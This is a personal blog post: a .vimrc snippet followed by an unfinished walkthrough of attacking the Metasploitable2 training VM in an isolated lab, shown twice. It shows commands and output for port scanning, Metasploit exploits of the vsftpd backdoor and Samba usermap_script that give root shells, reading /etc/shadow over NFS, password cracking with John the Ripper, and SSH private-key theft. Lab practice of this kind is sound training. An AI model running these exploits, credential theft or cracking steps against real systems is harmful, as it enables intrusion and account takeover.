set nobackup " do not save ~file set backspace=2 " backspace in insert mode like other editors set cursorline " location of cursor shown as underscore syntax on " syntax highlighting set number " line numbers filetype indent on " activates indenting for files set autoindent " auto indenting set si " smart indent set expandtab " use spaces instead of tabs set smarttab " use smarts when tabbing set shiftwidth=2 " 1 tab == 2 spaces set tabstop=2 set softtabstop=2 set textwidth=130 " wrap lines 130 chars, wide-carriage :) set hlsearch " highlight search results set incsearch " incremental search to move result while typing set showmatch " show matching brackets
Welcome to my blog, For more information about me, visit my website at https://www.kush.com.fj. This blog is mostly just a journal.
12/19/2015
.vimrc
2/08/2015
Metasploitable2 Walk-through
(This is an interim post and will be updated progressively. This note will be removed once done.)
This post extends the walk-though on the initial version of Metasploitable at http://nkush.blogspot.com.au/2011/09/metasploitable-walkthrough.html. It should be noted that some commands and output may have been truncated for the purposes of brevity.
Set-up
The set-up included two machines in a virtual test environment using VirtualBox. The first was a Metasploitable virtual machine (VM) and the second a Kali 1.0 VM. The two hosts were configured to have a host-only network connection. The test environment was isolated to the 192.168.32.0/24 network. All commands were execute on the Kali VM.
Penetration Test
Reconnaissance
This was easy we know that we're using a Metasploitable image, and that it was setup in a test environment as described in the Set-up section. We still needed to identify the exact internet protocol (IP) address the Metasploitable host was using.
Since know the IP address of the Kali VM, and the 192.168.32.254 as the host-only interface of the host machine, we can infer the IP of the Metasploitable VM as being 192.168.32.102.
Scanning
Now that we know the IP address of the Metasploitable host, we run a more comprehensive scan on the host
Gaining Access
From the scan we see a variety of open ports. Next we go through the ports and attempt to identify vulnerabilities in the services and if possible exploit them to gain access to the host. The exploits were launched from the Kali VM using the msfconsole.
Port 21 - File Transfer Protocol (FTP)
Port 2049 - Network File System (NFS)
We first need to identify which shares are exported by the NFS server. We use the showmount command to accomplish this
This illustrated that the root (/) is shared to all hosts (*), so we attempt to mount the NFS export to /tmp/metasploitable and see if we can read the /etc/passwd file
So we can read the /etc/passwd file. We compile a list of users that we can use in future bruteforce attempts.
However, more important we also have access to the /etc/shadow file. We can now use the /etc/passwd and /etc/shadow files with John the Ripper to attempt to crack some passwords. We initially use the usernames as the wordlist
The output above is truncated, but we see that we got 4 out of 7 passwords. Since we weren't able to crack all the passwords, needed to try more wordlists. Being lazy I copied the wordlists from metasploit and wfuzz into a single directory called wordlists in the root users home directory (/root) and wrote a bash script to iterate through the wordlists and continue running John the Ripper. The script accepts two argument, the first is the unshadowed file, and the second is the path to the directory containing the wordlists. Here's a copy of the script called johno.sh
Now we can separate the username and passwords into separate lists and use them in metasploit to simplify our bruteforce attacks. As we have free reign over the file system we can also navigate into the user's home directories and investigate the files and directories. After checking that /etc/sudoers and /etc/groups files we note that msfadmin is able to perform sudo functions. Thus in the msfadmin's .ssh directory we find the user@metasploitable has an authorised_key entry, further examination of the /root .ssh directory reveals that msfadmin is authorised. We are thus able to obtain the user@metasploitable and msfadmin@metasploitable private keys
We could have also generated our own SSH key pair and added the public keys to the authorized_keys file for the users, including the root user.
Port 513 - rlogin
Port 513 appears to be running rlogin which allows users to login to the Metasploitable VM over the network. Since we already know the password for the msfadmin user and know that msfadmin is a member of the admin group, which allows use of sudo, we can login as msfadmin and get root access
Port 512 - rexec
Port 512 appears to be running a remote execution daemon which allows remote execution of command. We attempt connection using netcat to confirm
The Where are you? indicates that the Metasploitable VM is unable to determine the hostname of the Kali VM. Since we have access via SSH, and NFS, we can modify the /etc/hosts file to add "192.168.32.101 kali", and attempt the connection again
Port 514 - rsh
Port 514 appears to be running rsh. Again we already know some cracked passwords and can log in directly
Port 139 - Samba
Samba needs ports 137-139 and 445 for NetBIOS and Active Directory functionality.
Port 3306 - MySQL
Port 3306 appears to be open and used by a MySQL daemon. We attempt to enumerate the users using metasploit. Initial exploit fails, but once we specify the username root, it succeeds. The exploit also demonstrates that a root password is not set, and connection to the database as root is possible, i.e. mysql -h 192.168.32.102 -p -u root. The truth is we just got lucky with this exploit.
Port 5900 - VNC
Warning: This expoit took a long time, since the VNC server was setup to lock out the host after a number of failed login attempts.
The Metasploitable VM appears to be running VNC. We used the metasploit module for vnc_login to attempt brute force. This method was not very efficient, as the VNC server would reject connection attempts after a number of failed attempts even with the brute force speed turned down to 0. I finally got the password when I used the wordlist /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt (which only contained a single "password")
With the VNC password, we can use vncviewer to connect to the server to get a root shell
The Metasploitable VM hosts an unreal IRC daemon on port 6667. There appeared to be only one exploit available for this service on the metasploit framework so it was worth giving it a go, even without investigating to see if the daemon was vulnerable. The exploit gives root shell access
Port 8009 - Tomcat
Port 8009 is a tomcat reverse proxy that apache uses to communicate with Tomcat to server pages. Port 8180 runs the main admin interface for Tomcat. We need to get the admin credentials
Now we can use the credentials, i.e. username tomcat with password tomcat to exploit the management interface
Port 3632 - DistCC
DistCC daemon can be exploited to allow remote code execution.
Port 5432 - Postgresql
PostgreSQL DB 8.3.0 - 8.3.7 is listening on port 5432. Since the MySQL database was not password protected, chances are Postgresql may not be password protected either, but we've cracked some of the passwords, so it may be worth trying to brute force the password. First we attempted to use the metasploit wordlist, and then repeated with the list of usernames we has recovered. Unfortunately no additional credentials were recovered, save for the postgres:postgres credentials for the template1 database.
Port 2121 - ProFTP
Port 2121 reports to be running ProFTPD version 1.3.1. A search of www.cvedetails.com provides several potential vulnerabilities, but none appeared to be metasploitable. As we already knew the credentials, we can simply FTP to the server. During the FTP session, we make the discovery that the FTP server is misconfigured and allows users to break out of their home jail and get access to the root directory (/).
Port 80 - Apache
We observe that port 80 is also open and runs Apache httpd 2.2.8.
There are a number of applications hosted on the server.
I'm still writing up so will continue to update the post as I make progress
Maintaining Access
Covering Tracks
Notes
References:
This post extends the walk-though on the initial version of Metasploitable at http://nkush.blogspot.com.au/2011/09/metasploitable-walkthrough.html. It should be noted that some commands and output may have been truncated for the purposes of brevity.
Set-up
The set-up included two machines in a virtual test environment using VirtualBox. The first was a Metasploitable virtual machine (VM) and the second a Kali 1.0 VM. The two hosts were configured to have a host-only network connection. The test environment was isolated to the 192.168.32.0/24 network. All commands were execute on the Kali VM.
Penetration Test
Reconnaissance
This was easy we know that we're using a Metasploitable image, and that it was setup in a test environment as described in the Set-up section. We still needed to identify the exact internet protocol (IP) address the Metasploitable host was using.
root@kali:~# nmap -sn -n -T5 192.168.32.0/24 Starting Nmap 6.25 ( http://nmap.org ) at 2015-02-04 03:40 EST Nmap scan report for 192.168.32.101 Host is up. Nmap scan report for 192.168.32.102 Host is up (0.00044s latency). MAC Address: 08:00:27:D1:AA:CE (Cadmus Computer Systems) Nmap scan report for 192.168.32.254 Host is up (0.00041s latency). MAC Address: 00:00:00:00:00:00 (Cadmus Computer Systems) Nmap done: 256 IP addresses (3 hosts up) scanned in 8.62 seconds
Since know the IP address of the Kali VM, and the 192.168.32.254 as the host-only interface of the host machine, we can infer the IP of the Metasploitable VM as being 192.168.32.102.
Scanning
Now that we know the IP address of the Metasploitable host, we run a more comprehensive scan on the host
root@kali:~# nmap -n -v -A -T5 192.168.32.102
Starting Nmap 6.25 ( http://nmap.org ) at 2015-02-04 03:44 EST
NSE: Loaded 106 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 03:44
Scanning 192.168.32.102 [1 port]
Completed ARP Ping Scan at 03:44, 0.00s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 03:44
Scanning 192.168.32.102 [1000 ports]
Discovered open port 445/tcp on 192.168.32.102
Discovered open port 21/tcp on 192.168.32.102
Discovered open port 3306/tcp on 192.168.32.102
Discovered open port 111/tcp on 192.168.32.102
Discovered open port 23/tcp on 192.168.32.102
Discovered open port 25/tcp on 192.168.32.102
Discovered open port 53/tcp on 192.168.32.102
Discovered open port 22/tcp on 192.168.32.102
Discovered open port 80/tcp on 192.168.32.102
Discovered open port 139/tcp on 192.168.32.102
Discovered open port 5900/tcp on 192.168.32.102
Discovered open port 5432/tcp on 192.168.32.102
Discovered open port 6667/tcp on 192.168.32.102
Discovered open port 513/tcp on 192.168.32.102
Discovered open port 6000/tcp on 192.168.32.102
Discovered open port 512/tcp on 192.168.32.102
Discovered open port 1524/tcp on 192.168.32.102
Discovered open port 8180/tcp on 192.168.32.102
Discovered open port 514/tcp on 192.168.32.102
Discovered open port 2121/tcp on 192.168.32.102
Discovered open port 1099/tcp on 192.168.32.102
Discovered open port 8009/tcp on 192.168.32.102
Discovered open port 2049/tcp on 192.168.32.102
Completed SYN Stealth Scan at 03:44, 0.23s elapsed (1000 total ports)
Initiating Service scan at 03:44
Scanning 23 services on 192.168.32.102
Completed Service scan at 03:46, 131.18s elapsed (23 services on 1 host)
Initiating OS detection (try #1) against 192.168.32.102
NSE: Script scanning 192.168.32.102.
Initiating NSE at 03:46
Stats: 0:02:42 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 2 (2 waiting)
NSE Timing: About 96.55% done; ETC: 03:46 (0:00:01 remaining)
Completed NSE at 03:46, 32.45s elapsed
Nmap scan report for 192.168.32.102
Host is up (0.00058s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2010-03-17T14:07:45+00:00
| Not valid after: 2010-04-16T14:07:45+00:00
| MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828
|_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6
|_ssl-date: 2014-12-16T08:50:13+00:00; -49d8h56m14s from local time.
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 42200/tcp mountd
| 100005 1,2,3 56519/udp mountd
| 100021 1,3,4 35219/tcp nlockmgr
| 100021 1,3,4 46904/udp nlockmgr
| 100024 1 35601/tcp status
|_ 100024 1 39332/udp status
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell?
1099/tcp open java-rmi Java RMI Registry
1524/tcp open ingreslock?
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info: Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 8
| Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection
| Status: Autocommit
|_Salt: Fo|BtB*Jv4@#-WOe1b{e
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ Unknown security type (33554432)
6000/tcp open X11 (access denied)
6667/tcp open irc Unreal ircd
| irc-info: Server: irc.Metasploitable.LAN
| Version: Unreal3.2.8.1. irc.Metasploitable.LAN
| Lservers/Lusers: 0/1
| Uptime: 0 days, 0:08:19
| Source host: ED0E3CD5.37AF7B9E.FFFA6D49.IP
|_Source ident: OK nmap
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Apache Tomcat/5.5
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
MAC Address: 08:00:27:D1:AA:CE (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.003 days (since Wed Feb 4 03:43:12 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=200 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| nbstat:
| NetBIOS name: METASPLOITABLE, NetBIOS user: , NetBIOS MAC:
| Names
| METASPLOITABLE<00> Flags:
| METASPLOITABLE<03> Flags:
| METASPLOITABLE<20> Flags:
| \x01\x02__MSBROWSE__\x02<01> Flags:
| WORKGROUP<00> Flags:
| WORKGROUP<1d> Flags:
|_ WORKGROUP<1e> Flags:
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| NetBIOS computer name:
| Workgroup: WORKGROUP
|_ System time: 2014-12-16T03:50:13-05:00
TRACEROUTE
HOP RTT ADDRESS
1 0.58 ms 192.168.32.102
NSE: Script Post-scanning.
Initiating NSE at 03:46
Completed NSE at 03:46, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 167.17 seconds
Raw packets sent: 1020 (45.626KB) | Rcvd: 1018 (41.561KB
Gaining Access
From the scan we see a variety of open ports. Next we go through the ports and attempt to identify vulnerabilities in the services and if possible exploit them to gain access to the host. The exploits were launched from the Kali VM using the msfconsole.
Port 21 - File Transfer Protocol (FTP)
Port 21 is open and appears to be running vsftpd daemon. We identified the vsftpd_234_backdoor vulnerability an attempted to exploit it. The exploit was successful and resulted in root shell access on the Metasploitable VM.
msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.32.102 msf exploit(vsftpd_234_backdoor) > exploit [*] Banner: 220 (vsFTPd 2.3.4) [*] USER: 331 Please specify the password. [+] Backdoor service has been spawned, handling... [+] UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (192.168.32.101:44513 -> 192.168.32.102:6200) at 2015-02-04 04:04:44 +1000 id uid=0(root) gid=0(root)
Port 2049 - Network File System (NFS)
2049/tcp open nfs 2-4 (RPC #100003)Port 2049 is used by NFS. NFS requires remote procedure calls (RPCs) between the client and server. On contemporary systems the RPC functionality is provided by rpcbind instead of portmap. In this instance rpcbind is running on port 111.
111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/udp nfs | 100005 1,2,3 42200/tcp mountd | 100005 1,2,3 56519/udp mountd | 100021 1,3,4 35219/tcp nlockmgr | 100021 1,3,4 46904/udp nlockmgr | 100024 1 35601/tcp status |_ 100024 1 39332/udp status
We first need to identify which shares are exported by the NFS server. We use the showmount command to accomplish this
root@kali:~# showmount -e 192.168.32.102 Export list for 192.168.32.102: / *
This illustrated that the root (/) is shared to all hosts (*), so we attempt to mount the NFS export to /tmp/metasploitable and see if we can read the /etc/passwd file
root@kali:~# mkdir /tmp/metasploitable2 root@kali:~# mount -t nfs -o nolock 192.168.32.102:/ /tmp/metasploitable2/ root@kali:~# cat /tmp/metasploitable2/etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh dhcp:x:101:102::/nonexistent:/bin/false syslog:x:102:103::/home/syslog:/bin/false klog:x:103:104::/home/klog:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash bind:x:105:113::/var/cache/bind:/bin/false postfix:x:106:115::/var/spool/postfix:/bin/false ftp:x:107:65534::/home/ftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false distccd:x:111:65534::/:/bin/false user:x:1001:1001:just a user,111,,:/home/user:/bin/bash service:x:1002:1002:,,,:/home/service:/bin/bash telnetd:x:112:120::/nonexistent:/bin/false proftpd:x:113:65534::/var/run/proftpd:/bin/false statd:x:114:65534::/var/lib/nfs:/bin/false snmp:x:115:65534::/var/lib/snmp:/bin/false
So we can read the /etc/passwd file. We compile a list of users that we can use in future bruteforce attempts.
cat /tmp/metasploitable/etc/passwd | awk -F: '{print $1}' > ~/users.txt
However, more important we also have access to the /etc/shadow file. We can now use the /etc/passwd and /etc/shadow files with John the Ripper to attempt to crack some passwords. We initially use the usernames as the wordlist
root@kali:~# cp /tmp/metasploitable2/etc/passwd ~/passwd root@kali:~# cp /tmp/metasploitable2/etc/shadow ~/shadow root@kali:~# unshadow ~/passwd ~/shadow > ~/crack.db root@kali:~# john -wordlist:users.txt crack.db root@kali:~# john --show crack.db msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash postgres:postgres:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash user:user:1001:1001:just a user,111,,:/home/user:/bin/bash service:service:1002:1002:,,,:/home/service:/bin/bash
The output above is truncated, but we see that we got 4 out of 7 passwords. Since we weren't able to crack all the passwords, needed to try more wordlists. Being lazy I copied the wordlists from metasploit and wfuzz into a single directory called wordlists in the root users home directory (/root) and wrote a bash script to iterate through the wordlists and continue running John the Ripper. The script accepts two argument, the first is the unshadowed file, and the second is the path to the directory containing the wordlists. Here's a copy of the script called johno.sh
#!/bin/bash # check if root ID=`id -u` if [ "$ID" != "0" ]; then echo "You must be root!" exit 1 fi # check unshadowed argument supplied if [ $# -ne 2 ]; then echo "./johno.shWe run the script and check the results" echo " the unshadowed file using john the ripper." echo " directory containing only wordlist." exit 1 fi # check unshadowed argument type if [ ! -f $1 ]; then echo "You must supply the unshadowed file" exit 1 fi # check wordlists path type if [ ! -d $2 ]; then echo "You must supply the directory containing wordlists" exit 1 fi JOHN=/usr/sbin/john for WORDLIST in $2/*; do $JOHN --wordlist:$WORDLIST $1 done exit 0
root@kali:~# ./johno.sh ~/crack.db ~/wordlists/ root@kali:~# john --show crack.db sys:batman:3:3:sys:/dev:/bin/sh klog:123456789:103:104::/home/klog:/bin/false msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash postgres:postgres:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash user:user:1001:1001:just a user,111,,:/home/user:/bin/bash service:service:1002:1002:,,,:/home/service:/bin/bash 6 password hashes cracked, 1 left root@kali:~#
Now we can separate the username and passwords into separate lists and use them in metasploit to simplify our bruteforce attacks. As we have free reign over the file system we can also navigate into the user's home directories and investigate the files and directories. After checking that /etc/sudoers and /etc/groups files we note that msfadmin is able to perform sudo functions. Thus in the msfadmin's .ssh directory we find the user@metasploitable has an authorised_key entry, further examination of the /root .ssh directory reveals that msfadmin is authorised. We are thus able to obtain the user@metasploitable and msfadmin@metasploitable private keys
root@kali:~# cat /tmp/metasploitable/home/msfadmin/.ssh/authorized_keys ssh-dss AAAAB3NzaC1kc3MAAACBANWgcbHvxF2YRX0gTizyoZazzHiU5+63hKFOhzJch8dZQpFU5gGkDkZ30rC4jrNqCXNDN50RA4ylcNtO78B/I4+5YCZ39faSiXIoLfi8tOVWtTtg3lkuv3eSV0zuSGeqZPHMtep6iizQA5yoClkCyj8swXH+cPBG5uRPiXYL911rAAAAFQDL+pKrLy6vy9HCywXWZ/jcPpPHEQAAAIAgt+cN3fDT1RRCYz/VmqfUsqW4jtZ06kvx3L82T2Z1YVeXe7929JWeu9d3OB+NeE8EopMiWaTZT0WI+OkzxSAGyuTskue4nvGCfxnDr58xa1pZcSO66R5jCSARMHU6WBWId3MYzsJNZqTN4uoRa4tIFwM8X99K0UUVmLvNbPByEAAAAIBNfKRDwM/QnEpdRTTsRBh9rALq6eDbLNbu/5gozf4Fv1Dt1Zmq5ZxtXeQtW5BYyorILRZ5/Y4pChRa01bxTRSJah0RJk5wxAUPZ282N07fzcJyVlBojMvPlbAplpSiecCuLGX7G04Ie8SFzT+wCketP9Vrw0PvtUZU3DfrVTCytg== user@metasploitable root@kali:~# ls -l /tmp/metasploitable/home/user/.ssh/ total 8 -rw------- 1 1001 1001 668 May 8 2010 id_dsa -rw-r--r-- 1 1001 1001 609 May 8 2010 id_dsa.pub root@kali:~# cat /tmp/metasploitable/root/.ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable root@kali:~# ls -l /tmp/metasploitable2/home/msfadmin/.ssh/ total 12 -rw-r--r-- 1 1000 1000 609 May 8 2010 authorized_keys -rw------- 1 1000 1000 1675 May 18 2010 id_rsa -rw-r--r-- 1 1000 1000 405 May 18 2010 id_rsa.pub root@kali:~# cp /tmp/metasploitable2/home/msfadmin/.ssh/id_rsa ~/msfadmin_private_key root@kali:~# ssh -i ~/msfadmin_private_key root@192.168.32.102 Last login: Tue Dec 16 05:43:41 2014 from 192.168.32.101 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ You have new mail. root@metasploitable:~# id uid=0(root) gid=0(root) groups=0(root)
We could have also generated our own SSH key pair and added the public keys to the authorized_keys file for the users, including the root user.
Port 513 - rlogin
Port 513 appears to be running rlogin which allows users to login to the Metasploitable VM over the network. Since we already know the password for the msfadmin user and know that msfadmin is a member of the admin group, which allows use of sudo, we can login as msfadmin and get root access
root@kali:~# rlogin -l msfadmin 192.168.32.102 msfadmin@192.168.32.102's password: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail. Last login: Tue Dec 16 05:34:15 2014 from 192.168.32.101 msfadmin@metasploitable:~$ id uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) msfadmin@metasploitable:~$ sudo -i root@metasploitable:~# root@metasploitable:~# id uid=0(root) gid=0(root) groups=0(root) root@metasploitable:~#
Port 512 - rexec
Port 512 appears to be running a remote execution daemon which allows remote execution of command. We attempt connection using netcat to confirm
root@kali:~# nc -vv 192.168.32.102 512 192.168.32.102: inverse host lookup failed: Unknown server error : Connection timed out (UNKNOWN) [192.168.32.102] 512 (exec) open Where are you? sent 0, rcvd 15 root@kali:~# root@kali:~# root@kali:~# nc -vvn 192.168.32.102 512 (UNKNOWN) [192.168.32.102] 512 (exec) open Where are you? sent 0, rcvd 16
The Where are you? indicates that the Metasploitable VM is unable to determine the hostname of the Kali VM. Since we have access via SSH, and NFS, we can modify the /etc/hosts file to add "192.168.32.101 kali", and attempt the connection again
root@kali:~# nc -vvnt 192.168.32.102 512 (UNKNOWN) [192.168.32.102] 512 (exec) openI need to come back to this one
Port 514 - rsh
Port 514 appears to be running rsh. Again we already know some cracked passwords and can log in directly
root@kali:~# rsh msfadmin@192.168.32.102 msfadmin@192.168.32.102's password: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail. Last login: Tue Dec 16 17:54:05 2014 from 192.168.32.101 msfadmin@metasploitable:~$
Port 139 - Samba
Samba needs ports 137-139 and 445 for NetBIOS and Active Directory functionality.
msf > use exploit/multi/samba/usermap_script msf exploit(usermap_script) > show options Module options (exploit/multi/samba/usermap_script): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 139 yes The target port Exploit target: Id Name -- ---- 0 Automatic msf exploit(usermap_script) > set RHOST 192.168.32.102 RHOST => 192.168.32.102 msf exploit(usermap_script) > show options Module options (exploit/multi/samba/usermap_script): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.32.102 yes The target address RPORT 139 yes The target port Exploit target: Id Name -- ---- 0 Automatic msf exploit(usermap_script) > exploit [*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo hmZ5eNWZPLnkQNsR; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "hmZ5eNWZPLnkQNsR\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.32.101:4444 -> 192.168.32.102:58167) at 2015-02-04 07:16:13 +1000 id uid=0(root) gid=0(root)
Port 3306 - MySQL
Port 3306 appears to be open and used by a MySQL daemon. We attempt to enumerate the users using metasploit. Initial exploit fails, but once we specify the username root, it succeeds. The exploit also demonstrates that a root password is not set, and connection to the database as root is possible, i.e. mysql -h 192.168.32.102 -p -u root. The truth is we just got lucky with this exploit.
msf > use auxiliary/admin/mysql/mysql_enum
msf auxiliary(mysql_enum) > info
Name: MySQL Enumeration Module
Module: auxiliary/admin/mysql/mysql_enum
Version: 0
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Carlos Perez
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOST yes The target address
RPORT 3306 yes The target port
USERNAME no The username to authenticate as
Description:
This module allows for simple enumeration of MySQL Database Server
provided proper credentials to connect remotely.
References:
https://cisecurity.org/benchmarks.html
msf auxiliary(mysql_enum) > set RHOST 192.168.32.102
RHOST => 192.168.32.102
msf auxiliary(mysql_enum) > run
[-] Access denied
[*] Auxiliary module execution completed
msf auxiliary(mysql_enum) > set USERNAME root
USERNAME => root
msf auxiliary(mysql_enum) > run
[*] Running MySQL Enumerator...
[*] Enumerating Parameters
[*] MySQL Version: 5.0.51a-3ubuntu5
[*] Compiled for the following OS: debian-linux-gnu
[*] Architecture: i486
[*] Server Hostname: metasploitable
[*] Data Directory: /var/lib/mysql/
[*] Logging of queries and logins: OFF
[*] Old Password Hashing Algorithm OFF
[*] Loading of local files: ON
[*] Logins with old Pre-4.1 Passwords: OFF
[*] Allow Use of symlinks for Database Files: YES
[*] Allow Table Merge: YES
[*] SSL Connections: Enabled
[*] SSL CA Certificate: /etc/mysql/cacert.pem
[*] SSL Key: /etc/mysql/server-key.pem
[*] SSL Certificate: /etc/mysql/server-cert.pem
[*] Enumerating Accounts:
[*] List of Accounts with Password Hashes:
[*] User: debian-sys-maint Host: Password Hash:
[*] User: root Host: % Password Hash:
[*] User: guest Host: % Password Hash:
[*] The following users have GRANT Privilege:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
